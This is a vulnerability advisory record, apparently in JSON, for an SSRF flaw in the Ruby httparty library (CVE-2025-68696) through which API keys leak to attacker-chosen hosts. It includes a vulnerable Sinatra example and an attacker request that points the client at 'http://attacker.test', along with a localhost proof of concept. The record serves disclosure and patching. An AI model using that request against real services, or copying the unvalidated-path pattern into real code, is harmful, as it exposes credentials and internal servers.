{"id":"CVE-2025-68696","aliases":["CVE-2025-68696","GHSA-hm5p-x4rq-38w4"],"related":[],"kind":"vulnerability","state":"published","title":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","summary":"httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' => '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n<https://github.com/axios/axios/issues/6463>\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n<https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" > /tmp/server1/index.html \n   echo \"this is server2\" > /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 &\n   python -m http.server -d /tmp/server2 10002 &\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.","format":"markdown","source":"ghsa"},{"lang":"es","text":"httparty es una herramienta API. En versiones anteriores o iguales a 0.23.2, httparty es vulnerable a SSRF. Este problema puede suponer un riesgo de filtración de claves API, y también puede permitir que terceros realicen solicitudes a servidores internos. Este problema se ha corregido mediante el commit 0529bcd.","source":"nvd"}],"published":"2025-12-23T19:31:10.000Z","modified":"2026-10-19T22:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"<= 0.23.2","status":"affected"}],"vendor":"jnunemaker","product":"httparty","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.24.0"}],"ecosystem":"RubyGems","package":"httparty","purl":"pkg:gem/httparty","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.24.0"}],"vendor":"jnunemaker","product":"httparty","cpe":"cpe:2.3:a:jnunemaker:httparty:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68696","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/jnunemaker/httparty","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-12-24T14:31:55.287Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-68696","url":"https://www.cve.org/CVERecord?id=CVE-2025-68696","licence":"CVE Terms of Use","modified":"2025-12-24T14:31:58.017Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hm5p-x4rq-38w4","url":"https://github.com/advisories/GHSA-hm5p-x4rq-38w4","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:31.906Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-68696","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68696","licence":"Public domain","modified":"2026-10-19T22:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:09.856Z","epss":{"score":0.00324,"percentile":0.27471,"date":"2026-12-01T12:00:22.000Z"}}